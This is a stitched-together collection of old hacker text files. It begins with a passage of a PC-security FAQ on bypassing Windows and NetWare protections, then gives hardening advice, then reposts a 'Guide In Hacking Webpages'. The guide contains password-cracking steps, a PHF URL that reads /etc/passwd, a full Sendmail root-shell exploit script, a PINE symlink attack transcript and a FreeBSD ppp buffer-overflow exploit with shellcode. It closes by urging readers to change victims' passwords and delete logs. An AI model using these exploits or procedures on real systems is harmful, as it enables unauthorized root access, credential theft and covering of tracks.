the Password field. Delete the junk that appears after the equal

sign.



The password protection in Windows 95 is much stronger, but you can

still bypass it by *carefully* moving or renaming all .PWL files

in the C:\Windows directory.



Password Protection

===================



Q: Windows starts up, and you are presented with yet another

password dialog box. What do I do?



A:

**If this is the Primary Windows Logon or a Network logon, then you

can usually get past it by pressing the Cancel button (No Joke!).

This is because the Logon information is used primarily for desktop

preferences and remote file sharing.



**If this is a third-party security program, such as the one built-in

to After Dark, try pressing Ctrl+Alt+Del when the dialog is

presented to you. Most security programs go out of their way to

be secure, and Windows 3.1 interprets this as not responding to

the system, and thus will allow you close it. Windows 95 pops up

a neat little dialog box that lets you terminate any running

application. How convenient. :) Once you subvert this, you can

prevent it from bothering you again by editing the LOAD= and

RUN= sections in C:\WINDOWS\WIN.INI.



Q: Windows starts up, and program manager loads, but the File menu

is disabled, and so is DOS and File Manager. How can I access

DOS???



A: There are many Security programs for Windows (3.1 *AND* 95) that

do this, and other things. There are a few ways around them:



**Try this first:



DOS through Write

=================

1. Go into Accessories, and start up Write (or Wordpad)

NOT, I REPEAT NOT, NOTEPAD!!

2. Open C:\COMMAND.COM

3. A little dialog box will pop up. Select NO CONVERSION

4. Select Save As...

5. Save it as C:\WINDOWS\WINHELP.EXE

6. If it asks if you want to overwrite WINHELP.EXE, choose

YES

7. Press F1. Normally, this loads Windows Help, but now it

will create a DOS prompt window.



**Try this next:



DOS through Word

================

1. If they have Microsoft Word installed, start it up.

2. From the Tools Menu, select Macro.

3. Type in a Macro name, and click "Create"

4. When the Macro window comes up, type in one of the

following depending on which Windows you are using:



For Windows 3.1: Shell Environ$("COMSPEC")

For Windows 95: Shell Environ$("COMMAND")

For Windows NT: Shell Environ$("CMD")



If all else fails: Shell "C:\COMMAND.COM"



5. Run the macro by pressing the little play button on the

macro toolbar. This will launch a DOS prompt.



**If you're using Windows 95, try this:



DOS through MODE

================

When Windows 95 Shuts Down and shows that dumb graphic, it's

really just sitting on top of DOS. You can actually issue DOS

commands (although the graphic will cover them) on the system

after shutdown!!



A simple way to do this is to type:



CLS



After the graphic shows. However, the text will be in 40-column

mode, which is hard to read, and incompatible with some programs.



If you want to get a nice, clean DOS prompt, you can type:



MODE CO80



This will reset the screen display to normal (80-column,

16 color) mode.



Since *MOST* Windows Security programs are based on a VxD, they

will be unloaded (along with Windows) after shutdown, leaving

you free to explore using DOS.



----------------------------------------------------------------



2c. Getting past NetWare



This section is based on excerpts from the Netware Hacking FAQ.



Common Account Names

====================

Novell Netware has the following default accounts: SUPERVISOR, GUEST,

and Netware 4.x has ADMIN and USER_TEMPLATE as well. All of these have

no password set. Only a dummy would leave the SUPERVISOR and ADMIN

accounts unprotected, so you might as well not try. However, many

administrators will create special-purpose accounts that have

easy-to-guess names, some with no password at all. Here are a few of

the common ones and their typical purposes:



Account Purpose

------- ---------------------------------------------------

POST Attaching to a second server for email

MAIL



PRINT Attaching to a second server for printing

LASER

HPLASER

PRINTER

LASERWRITER



ROUTER Attaching an email router to the server



BACKUP May have password/station restrictions (see below),

WANGTEK used for backing up the server to a tape unit

attached to the workstation. For complete backups,

Supervisor equivalence is required.



TEST A test user account for temp use



ARCHIVIST Palindrome default account for backup



CHEY_ARCHSVR An account for Arcserve to login to the server from

from the console for tape backup. Version 5.01g's

password was WONDERLAND.



GATEWAY Attaching a gateway machine to the server

GATE



FAX Attaching a dedicated fax modem unit to the network

FAXUSER

FAXWORKS



WINDOWS_PASSTHRU Although not required, per the Microsoft Win95

Resource Kit, Ch. 9 pg. 292 and Ch. 11 pg. 401 you

need this for resource sharing without a password.







Resetting Netware

=================

When NetWare is first installed, the account SUPERVISOR and GUEST

are left unprotected, that is, with no password. SUPERVISOR has

free run of the system. You can do anything you want.



But how can you make the server think it has just been installed

without actually reinstalling the server and losing all data on

the disk? Simple. You just delete the files that contain the

security system!



In Netware 2.x, all security information is stored in two files

(NET$BIND.SYS and NET$BVAL.SYS). Netware 3.x stores that information

in three files (NET$OBJ.SYS, NET$VAL.SYS and NET$PROP.SYS). The all

new Netware 4.x system stores all login names and passwords in five

different files (PARTITIO.NDS, BLOCK.NDS, ENTRY.NDS, VALUE.NDS

and UNINSTAL.NDS [This last file may not be there, don't worry]).



Although Novell did a very good job encrypting passwords, they let all

directory information easy to find and change if you can access the

server's disk directly, using common utilities like Norton's Disk Edit.



Using this utility as an example, I'll give a step-by-step procedure

to make these files vanish. All you need is a bootable DOS disk,

Norton Utilities' Emergency Disk containing the DiskEdit program and

some time near the server.



1. Boot the server and go to the DOS prompt. To do this, just let the

network boot normally and then use the DOWN and EXIT commands. This

procedure does not work on old Netware 2.x servers and in some

installations where DOS has been removed from memory. In those cases,

you'll have to use a DOS bootable disk.



2. Run Norton's DiskEdit utility from drive A:



3. Select "Tools" in the main menu and then select "Configuration".

At the configuration window, uncheck the "Read-Only" checkbox. And

be very careful with everything you type after this point.



4. Select "Object" and then "Drive". At the window, select the C: drive

and make sure you check the button "physical drive". After that,

you'll be looking at your physical disk and you be able to see

(and change) everything on it.



5. Select "Tools" and then "Find". Here, you'll enter the name of the

file you are trying to find. Use "NET$BIND" for Netware 2,

"NET$PROP.SYS" for Netware 3 and "PARTITIO.NDS" for Netware 4. It is

possible that you find these strings in a place that is not the

Netware directory. If the file names are not all near each other and

proportionaly separated by some unreadable codes (at least 32 bytes

between them), then you it's not the place we are looking for. In

that case, you'll have to keep searching by selecting "Tools" and

then "Find again". [In Netware 3.x, you can change all occurences of

the bindery files and it should still work okay])



6. You found the directory and you are ready to change it. Instead of

deleting the files, you'll be renaming them. This will avoid problems

with the directory structure (like lost FAT chains). Just type "OLD"

over the existing "SYS" or "NDS" extension. Be extremely careful and

don't change anything else.



7. Select "Tools" and then "Find again". Since Netware store the

directory information in two different places, you have to find the

other copy and change it the same way. This will again prevent

directory structure problems.



8. Exit Norton Disk Edit and boot the server again. If you're running

Netware 2 or 3, your server would be already accessible. Just go to

any station and log in as user Supervisor. No password will be asked.

If you're running Netware 4, there is one last step.



9. Load Netware 4 install utility (just type LOAD INSTALL at the console

prompt) and select the options to install the Directory Services. You

be prompted for the Admin password while doing this. After that, you

may go to any station and log in as user Admin, using the password

that you have selected.



**NOTE: If Disk Edit is unavailable, any Disk Editing utility with

searching capabilities will suffice.



----------------------------------------------------------------





3. Building a SECURE System



3a. Understanding the Issues



Potential "Hackers"

===================

After reading this FAQ, you've probably revised your idea of a

secure PC quite a bit. Truth be told, IBM didn't design the Personal

Computer with security in mind. Back in 1980, their main objective was

to get _something_ to market before Apple gobbled up all the market

share.



After awhile, security programs started to emerge that attempted

to bridge this gap. These were quite popular, and were put into use

by many companies to prevent 'curious' employees from messing with

the computers.



However, ways to bypass these security programs were quickly found.

As long as computers are designed for convenience, and with humans

in mind, this will almost always happen.



So, who are potential "Hackers"? The answer is: Anyone. Experienced

users especially, but even newbies sometimes find weak spots. This

is not to say that everyone *is* a hacker.



As always, prevention is the best medicine. The following sections

deal with how to secure your system, both through physical and

software-based means.







Physical Security

=================

In the old days, back when computers filled multiple rooms, the

security of a system was basically all physical: Locks, security

guards, etc. Now the emphasis has shifted away from physical security,

and is leaning more towards software-based methods. However,

in some cases, a certain degree of physical security is in order.



**If you want to prevent people from resetting your CMOS and

accessing the floppy drives, etc. you have to secure the system

itself. This can be done by having the computer in a locked room,

leaving only the screen and keyboard accessible. There are many

products which let you extend the reach of screen and keyboard cables.

Even some that let you control many different computers using one

screen.



***To protect your hard disk data, I would suggest investing in a

removable media system that lets you "hot-swap" and lock hard disks.

The hard disk could then be easily removed (with the *unique* key)

and stored in a safe to prevent theft of data.



***Computer locks which bind your computer to a desk are good for

discouraging theft.



***There are also security devices available made by companies such as

Anchor Pad, Lucasey, and others that completely enclose the PC.

These are devices such as lockdown pads, cables for monitors, and

metal boxes. There are also devices that cover and lock the floppy

and CD-ROM slots.



Make sure that you test the computer immediately after these

lockdown devices are installed. In some instances the stress induced

on the casing can cause certain parts to malfunction.



***You can buy devices that prevent the PC electrical cord from

being unplugged or turned on without a key.



***As one last measure of security, it's always nice to invest in

some insurance for your computer. It won't get your data back,

but it *will* give you some peace of mind.





Software-Based Security

=======================

Below is a list of measures you can take to secure your system using

software/firmware based methods. They are listed in order of

increasing security, so minimum security would be only implementing

option #1, maximum security would be implementing #1-8. Keep in

mind that implementing any of these without implementing every item

below it leaves possible entry points open.



1. Set up a BIOS password for both the Setup screen *and*

access to the system.

a. Make sure the password is not easily guessable

(i.e., birthdate, name backwards, etc. are

easily guessed) See next section.

b. Make sure that the password is the maximum possible

number of characters supported by the BIOS.

2. Disable floppy booting from within the BIOS

3. Disable Bypass of startup files

a. This is done by adding the line:

SWITCHES=/F /N

to the CONFIG.SYS file.

b. Additionally, you might want to precede

all statements in the Autoexec.bat

with CTTY NUL, and then have CTTY CON

as the last line. This prevents breaking

out of autoexec.bat

c. If you use DriveSpace compression, add the

following line to your DRVSPACE.INI file:

SWITCHES=/F /N

d. Add the line:

BREAK OFF

This reduces the number of chances you have to

break out of AUTOEXEC.BAT, all though it doesn't

switch it off entirely

4. Set up a DOS-based Security TSR

a. Make sure you cannot access the floppy drive

without a password, and that it allows

for write-protection.

b. Make sure it allows for password protection.

5. Set up a Windows-Based Security program

a. Make sure you can control which features of

Windows you can limit or disable.

b. Make sure it allows for password protection.

6. Install an encrypted filesystem program. (i.e., CryptDisk)

a. This will prevent access to the computer and

files on the hard disk unless the password

is entered. It will render your data

unaccessible even if the hard disk is

extracted from the system.

7. Delete the following files:

FORMAT

DELTREE

SUBST

JOIN

BACKUP

RESTORE

ATTRIB





Passwords

=========

Passwords are generally the weakest link in the security chain.

When choosing a password, remember these tips:



Do NOT choose something obvious. Swear words, your birthdate,

topics pertaining to what you do and/or your interests are are

examples of BAD passwords.



A Good Password is one that is totally random. To pick a password,

try this: Grab a dictionary. Close your eyes, and flip to a

random page. With your eyes still closed, put your finger on a

random spot on this page. Remember the word, and do this again.

Combine the two words, and append a three-digit number to the end.

You also might want to intersperse non-alphanumeric characters

into the password in random ways, such as an odd dash or

apostrophe here and there.



Also, NEVER write your password down. Always keep it in your head.

A simple Post-It note on your monitor can bring down all the

security that you so meticulously set up!



A good password system hides the passwords from everyone,

including the system administrators. This means that the sys

admins cannot tell if the users are putting in weak passwords.



One final note: When designing a security system, be sure to take

the user into account. If a system is of such high-grade security

that it is a nuisance to use, people will always find the lazy

way to do it......




http://www.friendster.com/profiles/bloodrun =D

Guide In Hacking Webpages

Getting the Password File Through FTP

Ok well one of the easiest ways of getting superuser access is through anonymous ftp access into a webpage. First you need learn a little about the password file...

root:User:d7Bdg:1n2HG2:1127:20:Superuser

TomJones:p5Y(h0tiC:1229:20:Tom Jones,:/usr/people/tomjones:/bin/csh

BBob:EUyd5XAAtv2dA:1129:20:Billy Bob:/usr/people/bbob:/bin/csh

This is an example of a regular encrypted password file. The Superuser is the part that gives you root. That's the main part of the file.

root:x:0:1:Superuser:/:

ftp:x:202:102:Anonymous ftp:/u1/ftp:

ftpadmin:x:203:102:ftp Administrator:/u1/ftp

This is another example of a password file, only this one has one little difference, it's shadowed. Shadowed password files don't let you view or copy the actual encrypted password. This causes problems for the password cracker and dictionary maker(both explained later in the text). Below is another example of a shadowed password file:

root:x:0:1:0000-Admin(0000):/:/usr/bin/csh

daemon:x:1:1:0000-Admin(0000):/:

bin:x:2:2:0000-Admin(0000):/usr/bin:

sys:x:3:3:0000-Admin(0000):/:

adm:x:4:4:0000-Admin(0000):/var/adm:

lp:x:71:8:0000-lp(0000):/usr/spool/lp:

smtp:x:0:0:mail daemon user:/:

uucp:x:5:5:0000-uucp(0000):/usr/lib/uucp:

nuucp:x:9:9:0000-uucp(0000):/var/spool/uucppublic:/usr/lib/uucp/uucico

listen:x:37:4:Network Admin:/usr/net/nls:

nobody:x:60001:60001:uid no body:/:

noaccess:x:60002:60002:uid no access:/:

webmastr:x:53:53:WWW Admin:/export/home/webmastr:/usr/bin/csh

pin4geo:x:55:55:PinPaper Admin:/export/home/webmastr/new/gregY/test/pin4geo:/bin/false

ftp:x:54:54:Anonymous FTP:/export/home/anon_ftp:/bin/false

Shadowed password files have an "x" in the place of a password or sometimes they are disguised as an * as well.

Now that you know a little more about what the actual password file looks like you should be able to identify a normal encrypted pw from a shadowed pw file. We can now go on to talk about how to crack it.

Cracking a password file isn't as complicated as it would seem, although the files vary from system to system. 1.The first step that you would take is to download or copy the file. 2. The second step is to find a password cracker and a dictionary maker. Although it's nearly impossible to find a good cracker there are a few ok ones out there. I recomend that you look for Cracker Jack, John the Ripper, Brute Force Cracker, or Jack the Ripper. Now for a dictionary maker or a dictionary file... When you start a cracking prog you will be asked to find the the password file. That's where a dictionary maker comes in. You can download one from nearly every hacker page on the net. A dictionary maker finds all the possible letter combinations with the alphabet that you choose(ASCII, caps, lowercase, and numeric letters may also be added) . We will be releasing our pasword file to the public soon, it will be called, Psychotic Candy, “The Perfect Drug.” As far as we know it will be one of the largest in circulation. 3. You then start up the cracker and follow the directions that it gives you.

The PHF Technique

Well I wasn't sure if I should include this section due to the fact that everybody already knows it and most servers have already found out about the bug and fixed it. But since I have been asked questions about the phf I decided to include it.

The phf technique is by far the easiest way of getting a password file(although it doesn't work 95% of the time). But to do the phf all you do is open a browser and type in the following link:

http://webpage_goes_here/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

You replace the webpage_goes_here with the domain. So if you were trying to get the pw file for www.webpage.com you would type:

http://www.webpage.com/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd

and that's it! You just sit back and copy the file(if it works).

Telnet and Exploits

Well exploits are the best way of hacking webpages but they are also more complicated then hacking through ftp or using the phf. Before you can setup an exploit you must first have a telnet proggie, there are many different clients you can just do a netsearch and find everything you need.

It’s best to get an account with your target(if possible) and view the glitches from the inside out. Exploits expose errors or bugs in systems and usually allow you to gain root access. There are many different exploits around and you can view each seperately. I’m going to list a few below but the list of exploits is endless.

This exploit is known as Sendmail v.8.8.4

It creates a suid program /tmp/x that calls shell as root. This is how you set it up:

cat <<>/tmp/x.c

#define RUN "/bin/ksh"

#include

main()

{

execl(RUN,RUN,NULL);

}

_EOF_

#

cat <<>/tmp/spawnfish.c

main()

{

execl("/usr/lib/sendmail","/tmp/smtpd",0);

}

_EOF_

#

cat <<>/tmp/smtpd.c

main()

{

setuid(0); setgid(0);

system("chown root /tmp/x ;chmod 4755 /tmp/x");

}

_EOF_

#

#

gcc -O -o /tmp/x /tmp/x.c

gcc -O3 -o /tmp/spawnfish /tmp/spawnfish.c

gcc -O3 -o /tmp/smtpd /tmp/smtpd.c

#

/tmp/spawnfish

kill -HUP `/usr/ucb/ps -ax|grep /tmp/smtpd|grep -v grep|sed s/"[ ]*"// |cut -d" " -f1`

rm /tmp/spawnfish.c /tmp/spawnfish /tmp/smtpd.c /tmp/smtpd /tmp/x.c

sleep 5

if [ -u /tmp/x ] ; then

echo "leet..."

/tmp/x

fi

and now on to another exploit. I’m going to display the pine exploit through linux. By watching the process table with ps to see which users are running PINE, one can then do an ls in /tmp/ to gather the lockfile names for each user. Watching the process table once again will now reveal when each user quits PINE or runs out of unread messages in their INBOX, effectively deleting

the respective lockfile.

Creating a symbolic link from /tmp/.hamors_lockfile to ~hamors/.rhosts(for a generic example) will cause PINE to create ~hamors/.rhosts as a 666 file with PINE's process id as its contents. One may now simply do an echo "+ +" > /tmp/.hamors_lockfile, then rm /tmp/.hamors_lockfile.

This was writen by Sean B. Hamor…For this example, hamors is the victim while catluvr is the attacker:

hamors (21 19:04) litterbox:~> pine

catluvr (6 19:06) litterbox:~> ps -aux | grep pine

catluvr 1739 0.0 1.8 100 356 pp3 S 19:07 0:00 grep pine

hamors 1732 0.8 5.7 249 1104 pp2 S 19:05 0:00 pine

catluvr (7 19:07) litterbox:~> ls -al /tmp/ | grep hamors

- -rw-rw-rw- 1 hamors elite 4 Aug 26 19:05 .302.f5a4

catluvr (8 19:07) litterbox:~> ps -aux | grep pine

catluvr 1744 0.0 1.8 100 356 pp3 S 19:08 0:00 grep pine

catluvr (9 19:09) litterbox:~> ln -s /home/hamors/.rhosts /tmp/.302.f5a4

hamors (23 19:09) litterbox:~> pine

catluvr (11 19:10) litterbox:~> ps -aux | grep pine

catluvr 1759 0.0 1.8 100 356 pp3 S 19:11 0:00 grep pine

hamors 1756 2.7 5.1 226 992 pp2 S 19:10 0:00 pine

catluvr (12 19:11) litterbox:~> echo "+ +" > /tmp/.302.f5a4

catluvr (13 19:12) litterbox:~> cat /tmp/.302.f5a4

+ +

catluvr (14 19:12) litterbox:~> rm /tmp/.302.f5a4

catluvr (15 19:14) litterbox:~> rlogin litterbox.org -l hamors

now on to another one, this will be the last one that I’m going to show. Exploitation script for the ppp vulnerbility as described by no one to date, this is NOT FreeBSD-SA-96:15. Works on

FreeBSD as tested. Mess with the numbers if it doesnt work. This is how you set it up:

#include

#include

#include

#define BUFFER_SIZE 156 /* size of the bufer to overflow */

#define OFFSET -290 /* number of bytes to jump after the start

of the buffer */

long get_esp(void) { __asm__("movl %esp,%eax\n"); }

main(int argc, char *argv[])

{

char *buf = NULL;

unsigned long *addr_ptr = NULL;

char *ptr = NULL;

char execshell[] =

"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f" /* 16 bytes */

"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52" /* 16 bytes */

"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01" /* 20 bytes */

"\x02\x02\x02\x02\x03\x03\x03\x03\x9a\x04\x04\x04\x04\x07\x04"; /* 15 bytes, 57 total */

int i,j;

buf = malloc(4096);

/* fill start of bufer with nops */

i = BUFFER_SIZE-strlen(execshell);

memset(buf, 0x90, i);

ptr = buf + i;

/* place exploit code into the buffer */

for(i = 0; i <>

*ptr++ = execshell[i];

addr_ptr = (long *)ptr;

for(i=0;i < (104/4); i++)

*addr_ptr++ = get_esp() + OFFSET;

ptr = (char *)addr_ptr;

*ptr = 0;

setenv("HOME", buf, 1);

execl("/usr/sbin/ppp", "ppp", NULL);

}

Now that you’ve gotten root “what’s next?” Well the choice is up to you but I would recommend changing the password before you delete or change anything. To change their password all you have to do is login via telnet and login with your new account. Then you just type: passwd and it will ask you for the old password first followed by the new one. Now only you will have the new pw and that should last for a while you can now upload you pages, delete all the logs and just plain do your worstJ Psychotic writes our own exploits and we will be releasing them soon, so keep your eyes open for them.




-----------------------------☺☺☺☺FOr any question☺☺☺☺-----------------------
~~~~~~~~~~~~~~~~~~~~~~~~Look for the answer..~~~~~~~~~~~~~~~~~~~~

or, mail me @: peter2dmax@yahoo.com for assistance...
or simply add me in your friendster account(if you have) live_and_kill13@yahoo.com